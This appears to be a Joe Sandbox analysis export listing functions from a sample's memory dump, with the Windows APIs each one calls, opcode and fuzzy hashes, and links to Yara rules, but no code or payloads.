Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen$Exception@8Throw$__aulldiv
String ID:
API String ID: 3170199240-0
Opcode ID: b09e67eed916475607d297aa06254a032806e896fe96c0ddc065402eab954389
Instruction ID: ced2735a75060193a0ed0d0c695640d5618cc0589641856ed981e2386d396fd1
Opcode Fuzzy Hash: b09e67eed916475607d297aa06254a032806e896fe96c0ddc065402eab954389
Instruction Fuzzy Hash: FD32F2B1A143099FC718EF24D881A7EB7E9BF98350F10062DF556C73A1E730EA558B92

Function 00224F98 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 00225062

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 056b32001f749bc350fe4da17da23db39d352ec575602420c429ffd7bd3f3c00
Instruction ID: f904837d0cf2c52fbad7d4062edf04f585a087e7cd6a89562b876e430d33ec05
Opcode Fuzzy Hash: 056b32001f749bc350fe4da17da23db39d352ec575602420c429ffd7bd3f3c00
Instruction Fuzzy Hash: 45413B725106297FCB20AFF8EC4CDAB77B8EB84314F504268F905D7180E6719E918B50

Function 0022450B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000,002207B2), ref: 0022454A

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0022451C, 00224526

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime
API String ID: 2086374402-595813830
Opcode ID: 1df99c97447ca165130a84eaec7c33e25a5f3b581d3511a0e312de5d9dee740e
Instruction ID: df1eab88f0cac97416a3dae8ac1cf0c5d9b0853f01b9782af4e3617ef5870371
Opcode Fuzzy Hash: 1df99c97447ca165130a84eaec7c33e25a5f3b581d3511a0e312de5d9dee740e
Instruction Fuzzy Hash: E4E055B0AA1228BBC3107F50BD0AA3EBBA0DF12B00B400019FC081B241DA710D30AAE6

Function 00226D60 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fedcd2c9e242333e109232573e393d1caf5baa05ce4a0087343e35a6a351a6f
Instruction ID: 6482824a6eb3496bfb32d1333bf6f4eb173c5632a23854241b4f03380f285a74
Opcode Fuzzy Hash: 2fedcd2c9e242333e109232573e393d1caf5baa05ce4a0087343e35a6a351a6f
Instruction Fuzzy Hash: E2024E72E14229AFDF14CFA9D9806AEB7F1FF48314F254169E819E7340D731AA55CB80

Function 00217C58 Relevance: 2.4, Strings: 1, Instructions: 1131COMMON

Download Yara Rule

Strings

^l , xrefs: 00217CD4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID: ^l
API String ID: 0-1799741131
Opcode ID: 70e949b9626f0c5265fd3d84532bdd1148b7066b87ca60aa66b15755ad5ade63
Instruction ID: 7fa8bfd1d5541d1e0428ea381693af0cdd66b7a139e65af5f44d3f692abf58ab
Opcode Fuzzy Hash: 70e949b9626f0c5265fd3d84532bdd1148b7066b87ca60aa66b15755ad5ade63
Instruction Fuzzy Hash: D092F971F102188FDB98CFADDC9169DB7F2AF88304F548429E41AE7345EB34A8968B45

Function 0020DC0C Relevance: 1.9, Strings: 1, Instructions: 641COMMON

Download Yara Rule

Strings

8, xrefs: 0020DCE9

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: d045308f99ed72c687752019a63fa7285d8222023fb615843d1027c19810a88c
Instruction ID: 06298e0cb0f236749da481e85722f4b4d68132d40f542be5c0d0f63c6668add3
Opcode Fuzzy Hash: d045308f99ed72c687752019a63fa7285d8222023fb615843d1027c19810a88c
Instruction Fuzzy Hash: 6F421D71A1021A9FCF14DFA8C581AEDB7B5FF48310F154569E81AA7382DB30AE65CF90

Function 0022B6BC Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0022B6B7,?,?,00000008,?,?,0022B357,00000000), ref: 0022B8E9

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: de7032d0a5c1785d599c29aef52ccc04acb6f75f1ad05bcdbf8c3f8e52864d83
Instruction ID: a9b5d2be06ccec3d7b41628a9737c1a7e0866f37ece911eb1d737686562e66a1
Opcode Fuzzy Hash: de7032d0a5c1785d599c29aef52ccc04acb6f75f1ad05bcdbf8c3f8e52864d83
Instruction Fuzzy Hash: D7B1AD32520619AFD716CF68D48AB647BE0FF45364F298658E9D9CF2A1C335E9A1CF00

Function 002189EC Relevance: 1.7, APIs: 1, Instructions: 164COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00218BA3

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1a9b47571a619aa8995a355985270e72f1dda25a3437d4c87b18a12d8aab7888
Instruction ID: 8cec434ab071c5bcccb67f50860984411546a6ea521bcf6534c41a8fd824a1bb
Opcode Fuzzy Hash: 1a9b47571a619aa8995a355985270e72f1dda25a3437d4c87b18a12d8aab7888
Instruction Fuzzy Hash: 3151F672B101344BE71C8F2D9CD91E9BBE5EBC9342F44027ED59AD7290DA78C946CBA0

Function 0021BD0E Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0003BD1A,0021B568), ref: 0021BD13

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f0e580b20cebb3f08df1f6b606f81504d3db7d136135cd345c5ae16d1892a7ea
Instruction ID: cf08348445d820732b039ea10f457df4a1d45404bfc8a07225b50f88665ce881
Opcode Fuzzy Hash: f0e580b20cebb3f08df1f6b606f81504d3db7d136135cd345c5ae16d1892a7ea
Instruction Fuzzy Hash:

Function 001E1CE0 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000000), ref: 001E1D12

Part of subcall function 001F6800: InitializeCriticalSection.KERNEL32(00000000), ref: 001F6864

Part of subcall function 0021B473: __onexit.LIBCMT ref: 0021B479

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CriticalInitializeSection$__onexit
String ID:
API String ID: 3584673837-0
Opcode ID: b70dba2452dd22d6bdcd885f0acdbf6a87ca7b7e09765f843e740c54f96ea93a
Instruction ID: 3ddce9d01ae83f85ddf561697bd0b733e99521977844933ee50ca9900ff903ce
Opcode Fuzzy Hash: b70dba2452dd22d6bdcd885f0acdbf6a87ca7b7e09765f843e740c54f96ea93a
Instruction Fuzzy Hash: A2F0BEF1D44248FBDB00DFA4ED06B59B7B8EB06B20F00823AE819837C0EB3556108A51

Function 00225C60 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00225C60

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 80be1edf7f910ae388c43c92875dd2774a47c9379a8753101506d42f4cc7b7cc
Instruction ID: cdb56a7d6771a0b462dcf215ee3fbc0e25ea257a8a0678d9cf9459032e0e39d5
Opcode Fuzzy Hash: 80be1edf7f910ae388c43c92875dd2774a47c9379a8753101506d42f4cc7b7cc
Instruction Fuzzy Hash: E5A01138200200CB8B088F32BA0E30A3AE8AA022A03008028A000C0220EA208882AF20

Function 001EE680 Relevance: .7, Instructions: 735COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f179cb409cf02234172b593d2217f4742f0fc00fa86edd9d4aab02c0e88e5bab
Instruction ID: 8b18b70c75ae4695f4c426dcf589d26904f71bc63e088979fc40a56c42f90e5b
Opcode Fuzzy Hash: f179cb409cf02234172b593d2217f4742f0fc00fa86edd9d4aab02c0e88e5bab
Instruction Fuzzy Hash: 80422570E106859FDB14DFA9CC85AAEB7F5FF84304F204628E426DB391E731AA55CB90

Function 0022C6B9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220785ddd8b393da2549bd6239c4d777406d83b12d219ea2de6630fe25a2e370
Instruction ID: 29c8d0021fc8787c8dc718b8f704faf0cfeb384b731bbf099ad4143e39964902
Opcode Fuzzy Hash: 220785ddd8b393da2549bd6239c4d777406d83b12d219ea2de6630fe25a2e370
Instruction Fuzzy Hash: 00322421D39F615DD7239634E826339A248AFB73C8F65D737E81AB5AA5EF28C4934100

Function 001E1000 Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e1dffb9c167f2a1bfd412aa57ca9546c7a865265bd6293c312d3add4af8ce4
Instruction ID: fe945c64082993e108c6c8c1c8513cced06069601b4e1d932c7d0e942c3ed9d9
Opcode Fuzzy Hash: d9e1dffb9c167f2a1bfd412aa57ca9546c7a865265bd6293c312d3add4af8ce4
Instruction Fuzzy Hash: 442264335417044BE318CF2FCC81582B3E3AFD822475F857EC926CB696EEB9A61B4548

Function 00215958 Relevance: .5, Instructions: 532COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445ae59f0f07951cd6b0a1a51ee9bacf7365d4a2072ba4f6b3519b7a6c8537b
Instruction ID: 8894e1b2b3304a910de56a6bb1f1df5d10dcf0db9f70aa3a7100f91a6e3207f7
Opcode Fuzzy Hash: a445ae59f0f07951cd6b0a1a51ee9bacf7365d4a2072ba4f6b3519b7a6c8537b
Instruction Fuzzy Hash: 0E129372E206258FDF14CE7CC9C06ECBBF5EB98341F1145B9E896E7240E6709A91CB94

Function 00218D8D Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a996c3fecaed3b40f251943e28b6049b6459d809a98a49b13dc3435ca97b67a8
Instruction ID: c56b0a4e682cf8c4b7868c62113324d6dae358e4cb26b789b31b734456091312
Opcode Fuzzy Hash: a996c3fecaed3b40f251943e28b6049b6459d809a98a49b13dc3435ca97b67a8
Instruction Fuzzy Hash: 41D131749200689FD708CF6DE8A587DB7F0FB4A302785419EE686D7392C738E615DBA0

Function 00205306 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eabff313b10b90b5c5c9539a71f10951af28c738a580b5d111c791043d6269c9
Instruction ID: 3e0aeb387f50783ba6d05c82af7591a21523bf29cb21492c71631adb183f45f2
Opcode Fuzzy Hash: eabff313b10b90b5c5c9539a71f10951af28c738a580b5d111c791043d6269c9
Instruction Fuzzy Hash: 96C1A231A217398FDB24DF28D8847AEB7B5EF48300F5145E9D84AA7282D774AE91CF50

Function 0021FC5D Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6464b0a1f92fae0483d97a89116530c1adfccb4bd26ec0c66c96c4f6d954b020
Instruction ID: 1ac0915f648e6fbf9664754925339ca291b585b09d7ec124906c638827a717e8
Opcode Fuzzy Hash: 6464b0a1f92fae0483d97a89116530c1adfccb4bd26ec0c66c96c4f6d954b020
Instruction Fuzzy Hash: 6861863263070F66CBB48E686B95BFE23D4AF31300F14043AEC62CB292D6519DF29791

Function 002175E5 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e55467ff69fc990d924ef8f0dcece3123bea78ad4fbafe1850c629ef42bcc2d3
Instruction ID: 83e50be0ef2cec357951fd3533584bf9fec7e7a1a2afc41de73b0b1ed347f112
Opcode Fuzzy Hash: e55467ff69fc990d924ef8f0dcece3123bea78ad4fbafe1850c629ef42bcc2d3
Instruction Fuzzy Hash: 9E619D789142568FCB14CF6CC4809ADFBF1FF99300B19829DD885EB351E635AD82CBA4

Function 001FA160 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
